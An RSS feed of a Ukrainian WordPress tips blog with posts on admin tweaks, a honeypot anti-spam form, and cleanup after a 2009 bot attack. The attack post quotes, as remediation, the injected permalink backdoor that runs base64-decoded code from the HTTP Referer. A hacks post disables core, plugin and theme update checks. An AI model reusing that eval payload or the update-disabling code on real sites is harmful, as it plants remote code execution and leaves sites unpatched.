<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wordpress фішки &#8211; країна має талант</title>
	<atom:link href="https://lilumi.org.ua/tag/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>https://lilumi.org.ua</link>
	<description></description>
	<lastBuildDate>Mon, 18 Apr 2016 10:12:55 +0000</lastBuildDate>
	<language>uk</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>
	<item>
		<title>Десяток корисних хаків для WordPress</title>
		<link>https://lilumi.org.ua/wordpress/10-wordpress-hacks</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Fri, 26 Nov 2010 15:54:21 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[functions.php]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress hacks]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=671</guid>

					<description><![CDATA[Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress. Брендована адмінка. Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки. Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми: function my_custom_login_logo() { echo '&#60;style...]]></description>
										<content:encoded><![CDATA[<p>Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress.</p>
<h3>Брендована адмінка.</h3>
<p>Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки.</p>
<p>Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми:</p>
<pre><code class="php"><span class="keyword">function</span> my_custom_login_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;
        html {background-color:#001721;}
        h1 a { background-image:url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/images/logo.png) !important; } &lt;/style&gt;'</span>;
}

add_action(<span class="string">'login_head'</span>, <span class="string">'my_custom_login_logo'</span>);</code></pre>
<p>Цим самим ви замінюєте вивід логотипа на власний logo.png , що знаходиться в папці images вашої поточної теми. Як бачите, зміни стосуються лише css&#8217;у і ви можете туди додати ще свої стилі для інших елементів (я, наприклад, ще люблю поміняти фон під фірмові кольори та тінь додати яскравого кольору, щоб було як ефект м’ягкої підсвітки)</p>
<p>Ось приклади таких сторінок логіну:</p>
<p><a href="https://lilumi.org.ua/files/2010/11/login.jpg"><img fetchpriority="high" decoding="async" class="aligncenter size-medium wp-image-673" title="логін в адмінку" src="https://lilumi.org.ua/files/2010/11/login-600x184.jpg" alt="" width="600" height="184" /></a></p>
<p>А ось код, що змінить логотип в заголовку адмінки:</p>
<p><span id="more-671"></span></p>
<pre><code class="php"> <span class="keyword">function</span> my_custom_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;#header-logo { background-image: url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/img/clogo.png) !important; }&lt;/style&gt; '</span>;
    }
add_action(<span class="string">'admin_head'</span>, <span class="string">'my_custom_logo'</span>);</code></pre>
<p>Тут я теж люблю додавати стилі, щоб забрати заголовок сайту і зробити лого клікабельним. <a href="http://www.free-lance.ru/users/lilumi/viewproj.php?prjid=2063794">Приклад зміненої шапки адмінки</a></p>
<h3>Заміна тексту в футері адмінки</h3>
<p>Ще одна фішка, добавляє в футер адмінки дані про використану оперативку на хостингу і кількість запитів до MySQL та швидкість генерації сторінки:</p>
<pre><code class="php"><span class="keyword">function</span> usage(<span class="variable">$value</span>) {
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;div class="usage"&gt;'</span>;
	
	printf((<span class="string">'%d / %s'</span>), get_num_queries(), timer_stop(<span class="number">0</span>, <span class="number">3</span>));
	<span class="keyword">echo</span> <span class="string">' / '</span> . round(memory_get_usage()/<span class="number">1024</span>/<span class="number">1024</span>, <span class="number">2</span>) . <span class="string">' мб'</span>;
	
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;/div&gt;'</span>;
}
add_action(<span class="string">'admin_footer_text'</span>, <span class="string">'usage'</span>);</code></pre>
<p>Звичайно ви можете замінити це і в команді echo виводити якусь іншу інформацію.</p>
<h3>Видалення непотрібних блоків в &#8220;Майстерні&#8221;</h3>
<p>Наступний хак видаляє непотрібні блоки з головної сторінки адмінки, так званої &#8220;Майстерні&#8221; :</p>
<pre><code class="php"><span class="keyword">function</span> custom_dashboard() {
	<span class="keyword">global</span> <span class="variable">$wp_meta_boxes</span>;

	<span class="comment">//unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);</span>
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_comments'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_incoming_links'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_plugins'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_quick_press'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_drafts'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_primary'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_secondary'</span>]);
}
add_action(<span class="string">'wp_dashboard_setup'</span>, <span class="string">'custom_dashboard'</span>);</code></pre>
<p>В кожному рядку видаляється по одному блоку з &#8220;Майстерні&#8221;:</p>
<p>dashboard_recent_comments — свіжі коментарі<br />
 dashboard_incoming_links — вхідні посилання<br />
 dashboard_plugins — rss новин плагіни<br />
 dashboard_quick_press — швидка публікація<br />
 dashboard_recent_drafts — нещодавні чернетки<br />
 dashboard_primary — rss новини WordPress<br />
 dashboard_secondary — rss інші новини WordPress</p>
<p>Я зазвичай видаляю все окрім основного блоку &#8220;Прямо зараз&#8221;. На сайтах з включеною можливістю коментування ще залишаю блок &#8220;Свіжі коментарі&#8221;. Ви можете так само вибірково видалити непотрібні елементи, видаливши рядок, що відповідає йому.</p>
<h3>Видалення непотрібних блоків в head секції</h3>
<p>Наступний хак я використовую на сайтах-візитках де не потрібно rss і перелінковки між постами, так як основний контент йде на сторінках. Він видаляє купу непотрібних рядків в секції head коду html.</p>
<pre><code class="php">remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links'</span>, <span class="number">2</span>); <span class="comment">//rss</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links_extra'</span>, <span class="number">3</span>); <span class="comment">//atom </span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'index_rel_link'</span>); <span class="comment">// тут і нижче лінки для перелінковки сторінок</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'adjacent_posts_rel_link_wp_head'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'next_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'parent_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rel_canonical'</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'start_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rsd_link'</span>); <span class="comment">// лінка для трекбеків</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wlwmanifest_link'</span>); <span class="comment">// лінка для редактора Windows Live Writer</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wp_generator'</span>); <span class="comment">// тег, в якому пише версія вордпресу</span>
remove_action( <span class="string">'init'</span>, <span class="string">'wp_version_check'</span> ); <span class="comment">// видалення провірки оновлень</span>
remove_action( <span class="string">'load-plugins.php'</span>, <span class="string">'wp_update_plugins'</span> ); <span class="comment">// не провіряти оновлення плагінів</span>
remove_action( <span class="string">'load-update.php'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_plugins'</span> );
remove_action( <span class="string">'wp_update_plugins'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_themes'</span> ); <span class="comment">// не провіряти оновлення тем</span>
remove_action( <span class="string">'wp_update_themes'</span>, <span class="string">'wp_update_themes'</span> );
</code></pre>
<p>Використовувати це чи ні на вашому блозі це вже на ваш розсуд.</p>
<h3>Заборона вставляти лінки в коментарях</h3>
<p>Якщо ви не хочете, щоб лінки залишені коментаторами автоматично конвертувались в клікабельні посилання, то вставте цей код в functions.php:</p>
<pre><code class="php">remove_filter(<span class="string">'comment_text'</span>, <span class="string">'make_clickable'</span>, <span class="number">9</span>)</code></pre>
<p>&nbsp;</p>
<h3>Показувати повідомлення про нову версію вордпреса лише для адмінів</h3>
<pre><code class="php">< ?php
<span class="keyword">function</span> stop_wpupdate() {
<span class="keyword">if</span> ( current_user_can(<span class="string">'manage_options'</span>) ) {
<span class="keyword">return</span>;
} <span class="keyword">else</span> {
remove_action( <span class="string">'admin_notices'</span>, <span class="string">'update_nag'</span>, <span class="number">3</span> );
}
}
add_action( <span class="string">'admin_notices'</span>, <span class="string">'stop_wpupdate'</span>, <span class="number">1</span> );
<span class="preprocessor">?></span>
</code></pre>
<p>&nbsp;</p>
<h3>Кнопки видалення коментарів на сторінці посту</h3>
<p>Попередня фішка з показом повідомлень оновлень вордпресу для адмінів використовує функцію current_user_can яка визначає, чи має поточний юзер певні права. На основі цього я зробив фішку, що показує лінки на видалення коментарів і встановлення помітки &#8220;спам&#8221; для адміністраторів на сторінці посту. Цей код вставляєм в functions.php:</p>
<pre><code class="php"><span class="keyword">function</span> delete_comment_link(<span class="variable">$id</span>) {
  <span class="keyword">if</span> (current_user_can(<span class="string">'edit_post'</span>)) {
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;c=$id"</span>).<span class="string">'"&gt;del&lt;/a&gt; '</span>;
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;dt=spam&amp;amp;c=$id"</span>).<span class="string">'"&gt;spam&lt;/a&gt;'</span>;
  }
}</code></pre>
<p>А саму функцію delete_comment_link вставляєм в файл comments.php вашої теми після функції edit_comment_link :</p>
<pre><code class="php"><span class="preprocessor">&lt;?php</span> edit_comment_link(<span class="string">'Edit'</span>,<span class="string">''</span>,<span class="string">' '</span>); delete_comment_link(get_comment_ID());<span class="preprocessor">?&gt;</span></code></pre>
<p>&nbsp;</p>
<h3>Анонс постів з певної рубрики в сайдбарі</h3>
<p>В мене було завдання вивести в сайдбарі по першому реченню із трьох постів в рубриці &#8220;Проекти&#8221;. Я використав такий код в файлі sidebar.php :</p>
<pre><code class="php">     &lt;div <span class="keyword">class</span>=<span class="string">"sidenews"</span>&gt;
     <span class="preprocessor">&lt;?php</span> <span class="variable">$my_query</span> = <span class="keyword">new</span> WP_Query(<span class="string">'category_name=projects&amp;showposts=3'</span>);
     <span class="keyword">while</span> (<span class="variable">$my_query</span>-&gt;have_posts()) : <span class="variable">$my_query</span>-&gt;the_post(); <span class="preprocessor">?&gt;</span>
     &lt;h3&gt;&lt;a href=<span class="string">"&lt;?php the_permalink() ?&gt;"</span> title=<span class="string">"&lt;?php the_title(); ?&gt;"</span>&gt;<span class="preprocessor">&lt;?php</span> the_title(); <span class="preprocessor">?&gt;</span>&lt;/a&gt;&lt;/h3&gt;
     <span class="preprocessor">&lt;?php</span> preg_match( <span class="string">'/^.{150,}?[.?!]+(?=\s|$)/ '</span>, get_the_content(), <span class="variable">$A</span> );
                               <span class="keyword">echo</span> <span class="string">'&lt;p&gt;'</span>.<span class="variable">$A</span>[ <span class="number">0</span> ].<span class="string">'&lt;/p&gt;'</span>; <span class="preprocessor">?&gt;</span>   
     <span class="preprocessor">&lt;?php</span> <span class="keyword">endwhile</span>; <span class="preprocessor">?&gt;</span>
     &lt;p&gt;&lt;a href=<span class="string">"&lt;?php echo get_category_link('4') ?&gt;"</span>&gt;Все проекты&lt;/a&gt;&lt;/p&gt;
     &lt;/div&gt;
</code></pre>
<p>Використаний регулярний вираз шукає перше речення, але якщо це речення менше 150 символів, то вона захопить і наступні речення. Таким чином я уникнув помилки, коли в першому реченні зустрічається чиєсь прізвище чи адрес сайту.</p>
<h3>Вставка кнопки твітера Tweet</h3>
<p>Щоб появилась кнопка з підрахуноком кількості ретвітів потрібно вставити ось такий код в файл single.php вашої теми (наприклад після коду the_title(); ):</p>
<pre><code class="php">&lt;a href=<span class="string">"http://twitter.com/share"</span> <span class="keyword">class</span>=<span class="string">"twitter-share-button"</span> data-text=<span class="string">"&lt;?php the_title(); ?&gt;"</span> data-url=<span class="string">"&lt;?php the_permalink(); ?&gt;"</span> data-count=<span class="string">"horizontal"</span>&gt;Tweet&lt;/a&gt;<br />&lt;script type=<span class="string">"text/javascript"</span> src=<span class="string">"http://platform.twitter.com/widgets.js"</span>&gt;&lt;/script&gt;</code></pre>
<p>Це виведе горизонтальну кнопку з кількістю ретвітів з правої сторони. А щоб кількість ретвітів показувалось над кнопкою, то замініть <code>data-count="horizontal"</code> на <code>data-count="vertical"</code></p>
<p>Ну і наостанок маленький хак: щоб в редакторі постів зробити перенос рядка br потрібно натискати Shift+Enter</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Взломали ваш блог на Вордпресі. Не знаєте що робити? Тоді читайте!</title>
		<link>https://lilumi.org.ua/wordpress/defend-your-wordpress-blog-after-hack-attack</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 06 Sep 2009 09:31:37 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[hack wordpress]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[захисти свій блог]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=656</guid>

					<description><![CDATA[[tab:Українською] Вчора пройшла хвиля атаки і взлому блогів на вордпресі. А якщо погуглити, то можемо зробити висновок, що пострадали тисячі сайтів. Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання...]]></description>
										<content:encoded><![CDATA[<p>[tab:Українською]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчора</a> пройшла хвиля атаки і взлому блогів на вордпресі. А якщо <a href="http://tr.im/xYih">погуглити</a>, то можемо зробити висновок, що пострадали тисячі сайтів.</p>
<p><img decoding="async" src="http://www.picamatic.com/show/2009/09/06/01/29/4981924_300x331.png" alt="захищаєм блог від хакерів" class="alignright" width="300" height="331" />Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання отримував адмінські права, потім під цим юзером міняв шаблон ЧПУ в налаштуваннях, а далі модифікував (заражав) код теми, щоб підсовувати відвідувачам вірус чи ще якусь фігню.</p>
<p>І хоч мій блог досі працює на одній із старих версій вордпресу, але його ця напасть минувала. А все тому, що бот визначав версію блога по мета-тегу, що автоматом прописує вордпрес в усі теми, а я цей тег давним давно в себе видалив. Про те, як видалити цей тег, я писав раніше в статті: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — раджу і вам таке зробити ;)</p>
<p>А тим, хто вже пострадав від цього віруса, черв&#8217;яка, бота (називайте як хочете) потрібно зробити:</p>
<ul>
<li>В налаштуваннях ЧПУ, поміняти з<br />
<code>/%postname%/%&({${evаl(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас може відрізнятись структура, по аналогії я думаю зрозумієте :))</li>
<li>Найдіть останнього зареєстрованого користувача на вашому сайті і знищіть його! Швидше за все, це буде MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Оновити WordPress до версії 2.8.4</li>
</ul>
<p><span id="more-656"></span></p>
<p>Але якщо немає бажання оновлюватись і хочете покращити безпеку свого блогу, ви можете заборонити всім доступ до адмінки окрім себе, за допомогою невеличкої правки .htaccess<br />
Звичайно, було б добре коли у вас постійний статичний IP-адрес, тоді тільки б його і вказали. А якщо у вас динамічна айпішка, то можете вказати діапазон<br />
Для цього зробіть наступне:</p>
<ul>
<li>зайдіть на сайт <a href="http://myip.ru">myip.ru</a> аби дізнатись ваш IP адрес (способів дізнатись зовнішній айпі дуже багато, я привів самий простий для блондинок). Ви наприклад побачили: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>створіть файл .htaccess в папці wp-admin вашого блогу і пропишіть там наступне:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>а якщо у вас динамічна айпішка, то краще напишіть так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Детальніше про синтаксис директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">тут</a>.</li>
<li>Збережіть файл. Все.</li>
</ul>
<p>Тепер, до адмінки вашого блогу зможете потрапити лише ви з вашого комп&#8217;ютера. А якщо ви будете в дорозі, або в інтернет-кафе і захочете, зайти в адмінку блога, а вас не буде пускати (швидше за все, ви побачите помилку 404), бо айпішка не входить у вказаний діапазон, то тоді вам потрібно буде зайти по фтп на хостинг і тимчасово переіменувати файл .htaccess. І тут мабудь хтось з вас подумав: «<em>Це що, я ще й маю пароль на фтп пам&#8217;ятати для таких випадків?</em>» — Ну а що ви хотіли, прийдеться жертувати зручністю заради безпеки. Це як у відомій цитаті: «Так вам шашечки или ехать?!»</p>
<p>Бережіть себе і бережіть свій блог.</p>
<p>[tab:По русски]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчера</a> прошла волна атаки и взлома блогов на вордпрессе. И если <a href="http://tr.im/xYih">погуглить</a>, то можно судить, что пострадали тысячи блогов.</p>
<p>Но как все это произошло? А случилось вот что: кое-кто запустил в сеть бота, который находил старые версии WordPress (до версии 2.8.4) и пользуясь старым багом, регистрировал юзера и используя определенную ссылку получал права админа на блоге, потом под этим юзером менял шаблон ЧПУ в настройках, а далее модифицировал (заражал) код темы.</p>
<p>И хотя мой блог до сих пор работает на одной из старых версий вордпресса, но не пострадал. А все потому, что бот определял версию блога по мета-тегу, который автоматически прописывает вордпресс во все темы, а я этот тег давным-давно у себя удалил. Про то, как удалить этот тег, я писал ранее в статье: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — советую и вам так же сделать ;)</p>
<p>А тем, кто уже пострадал от этого вируса, червья, бота (называйте как хотите) нужно:</p>
<ul>
<li>В настройках ЧПУ, поменять с<br />
<code>/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас может отличаться структура, по аналогии думаю поймете, что где поменять :))</li>
<li>Найдите последнего  зарегистрированного пользователя на вашем сайте и уничтожьте его! Скорее всего , это будет MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Обновите WordPress до версии 2.8.4</li>
</ul>
<p>А если нет желания обновляться и хотите улучшить безопасность своего блога, то вы можете запретить всем доступ к админке, кроме себя, с помощю небольшой правки .htaccess<br />
Конечно, было бы лучше, если у вас постоянный статический IP-адрес, тогда тольки бы его и указывали. Но в случае динамического айпи-адреса можете указывать диапазон адресов.<br />
Для это сделайте следующее:</p>
<ul>
<li>зайдите на сайт <a href="http://myip.ru">myip.ru</a> чтобы узнать ваш IP адрес. К примеру: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>создайте файл .htaccess в папке wp-admin вашего блога и пропишите там следующее:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>в случае динамического IP-адреса, напишите так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Подробнее о синтаксисе директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">здесь</a>.</li>
<li>Сохраните файл. Все.</li>
</ul>
<p>Теперь, к админке вашего блога зайти можете только вы с вашого компьютера. Ну а если вы будете в дороге, или в интернет-кафе и захотите, зайти в админку блога, а вас не будет пускать (скорей всего, вы увидите сообщение об ошибке 404), потому что IP-адрес не входит в указанный диапазон, то тогда вам нужно будет зайти по фтп на хостинг и <strong>временно</strong> переименовать файл .htaccess. И тут, наверное, кто-то из вас подумал: «<em>Это я еще должен и пароль на фтп помнить для таких случаев?</em>» — Ну а что вы хотели, приходится жертвовать удобством ради безопасности. Помните цитату: «Так вам шашечки или ехать?!»</p>
<p>Берегите себя и берегите свой блог.</p>
<p>[tab:END]</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Хитрий і ефективний метод боротьби зі спамерами. І без КАПЧ.</title>
		<link>https://lilumi.org.ua/wordpress/i-have-no-spam</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Fri, 27 Mar 2009 15:01:45 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[antispam]]></category>
		<category><![CDATA[die spam]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=645</guid>

					<description><![CDATA[Ну ви ж знаєте, я фігню не порекомендую. Сам цим способом користуюсь майже півроку і спамерів з того часу не бачив в себе. Які ви бачили методи боротьби зі спамом? з мого досвіду: плагіни капч (captcha) — фу. Акісмет — не справляється Parasite Eliminator — «хорошо, но не очень». Він стоїть в мене на одному...]]></description>
										<content:encoded><![CDATA[<p>Ну ви ж знаєте, я фігню не порекомендую. Сам цим способом користуюсь майже півроку і спамерів з того часу не бачив в себе.<br />
 Які ви бачили методи боротьби зі спамом? з мого досвіду:</p>
<ul>
<li>плагіни капч (captcha) — фу.</li>
<li> Акісмет — не справляється</li>
<li> Parasite Eliminator — «хорошо, но не очень». Він стоїть в мене на одному блозі + Akismet  і все рівно спам проскакує (інколи на модерації затримується, а інколи й пропускає).</li>
<li>інші антиспам-плагіни — fail</li>
<li> кумедні рішення — постав галочку «я не робот» чи «нажми на прямокутник», навіть пробувати не хочу, бо знаю як це обходиться</li>
<li>відповіді на запитання — ага, один раз наткнувся на питання: «What color is orange?» я спробував і «оранжевий» і «апельсиновий» і «помаранчевий» і «orange» — ніфіга, не пускала шайнтан-машина</li>
</ul>
<p>Я от обхожу стороною такі блоги, статтю ще можу почитати, але свій коментар лишати не збираюся.</p>
<p>А тепер прийшла пора розказати, чому в мене немає спамерів і для відвідувачів створенні всі умови для зручного коментування.<br />
 В мене форма коментування з «подвійним дном» — насправді в мене дві форми — в одну пишуть роботи-спамери, а друга для моїх шанованих відвідувачів.<br />
 <span id="more-645"></span><br />
 Для цього в файлі <strong><code>comments.php</code></strong> вашої теми вордпресу знайдіть наступний рядок:</p>
<pre><code class="html">&lt;textarea name="comment" id="comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;</code></pre>
<p>цей рядок ми замінимо на такі два рядки:</p>
<pre><code class="html">&lt;div class="smo"&gt;&lt;textarea name="comment" id="comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;textarea name="real-comment" id="real-comment" cols="61" rows="13" class="textarea"&gt;&lt;/textarea&gt;</code></pre>
<p>де ви бачите, що попередню форму для коментування (textarea) ми засунемо в окремий блок, який згодом приховаємо, і створюєм ще один блок коментування для людей, в якому ім’я блоку відрізняється від стандартного імені, що присвоює вордпрес. Тут в прикладі є &#8220;<strong>real-comment</strong>&#8220;, але ви можете його змінити на щось своє, наприклад на &#8220;<strong>text-comment</strong>&#8220;. Так само як і можете змінити <strong>class=&#8221;smo&#8221;</strong> на щось інше, наприклад <strong>class=&#8221;comtext&#8221;</strong><br />
 Тепер відкривайте <strong>style.css</strong> для вашої теми і пропишіть там цей рядок:</p>
<pre><code class="css"><strong>.smo</strong> {position: absolute; left: -1000px;}</code></pre>
<p>Що це значить? Це значить, що стандартну форму коментування ми приховали, таким чином, що зсунули її на -1000 пікселів на екрані, але спамбот не може цього знати, бо він не може аналізувати вміст файлу стилів і тому буде пробувати написати коментар в цю форму.<br />
 Тепер зробимо, аби люди могли спокійно залишати коментар. Для цього відкрийте файл <strong><code>wp-comments-post.php</code></strong>, що знаходиться в корені вашого вордпрес-блогу та віднайдіть такі рядки:</p>
<pre><code class="php">
$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['comment']);</code></pre>
<p>які слід замінити на:</p>
<pre><code class="php">
$spam_test_field = trim($_POST['comment']);
if(!empty($spam_test_field)) wp_die('Іще один спамер попався!');
$comment_author       = trim(strip_tags($_POST['author']));
$comment_author_email = trim($_POST['email']);
$comment_author_url   = trim($_POST['url']);
$comment_content      = trim($_POST['real-comment']);</code></pre>
<p>Це і все! Це звісно не вбереже вас від ручного спаму, але якщо брати до уваги що 99% спаму це спамботи, то цей спосіб можна спокійно називати панацеєю від спаму.</p>
<p><strong>UPD</strong>: Андрій Поданенко вирішив поставити під сумнів цей метод і ми позмагались у винахідливості. Про що його стаття у відповідь: «<a class="mp" href="http://itua.name/node/555">І знову спам. Погляд відсутності 0% та 100%. Antitop v0.3.</a>»</p>
<p><strong>UPD2</strong> (26.11.2010) Тепер вже не потрібно це все робити вручну, бо є вже готовий плагін <a href="http://wordpress.org/extend/plugins/antispam-bee/">Antispam Bee</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Давай WordPress, хутчіш WordPress</title>
		<link>https://lilumi.org.ua/wordpress/php-speedy-wordpress</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 15 Mar 2009 16:17:06 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[php speedy]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блогерам]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=638</guid>

					<description><![CDATA[PHP Speedy гонить і не сигналить :) Давненько я нічого нового не публікував, все займаюсь іншими речами: роблю свою першу тему для вордпресу, вивчаю css та jquery, взявся за сайт присвячего доктору Хаусу, найняв туди контент-менеджера, тепер всі прибутки з того сайту йдуть їй на зарплату, але впевнений, що це швидко окупиться. А ще давно...]]></description>
										<content:encoded><![CDATA[<h3 style="text-align: right;">PHP Speedy гонить і не сигналить :)</h3>
<p><img decoding="async" class="alignleft" src="http://aciddrop.com/wp-content/wp-uploads/aciddrop/images/php_speedy_logo_medium.gif" alt="php speedy logo" />Давненько я нічого нового не публікував, все займаюсь іншими речами: роблю свою першу тему для вордпресу, вивчаю css та jquery, взявся за сайт присвячего доктору Хаусу, найняв туди контент-менеджера, тепер всі прибутки з того сайту йдуть їй на зарплату, але впевнений, що це швидко окупиться.</p>
<p>А ще давно я собі намітив в todo&#8217;шках, аби оптимізувати код сторінок сайту, бо вони занадто багато займають. Загалом проблема великого розміру коду сторінок властива всім вордпресовським блогам, на які поначіплювано багато плагінів, чи використовують преміум-теми. Колись провіряв по сервісу webo.in свій блог, так він знайшов багато слабких місць і дав довжелезний список рекомендацій, як покращити код сайту і зробити його швидшим та легшим для завантаження.<br />
